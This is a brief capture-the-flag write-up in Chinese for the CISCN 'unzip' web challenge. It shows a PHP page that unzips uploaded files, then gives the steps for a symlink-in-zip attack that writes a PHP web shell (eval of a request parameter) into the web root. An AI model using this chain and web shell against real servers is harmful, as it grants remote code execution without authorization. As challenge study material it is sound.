文章

CISCN Web unzip writeup

CISCN Web unzip writeup

0x01 题目描述

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this! 

ln -s var/www/html link

zip --symlinks link.zip link

删除文件link

新建目录link mkdir link

cd link

cat shell.php

<?php eval($_REQUEST[1]);phpinfo();?>

cd ..

zip -r demo.zip link/

本文由作者按照 CC BY 4.0 进行授权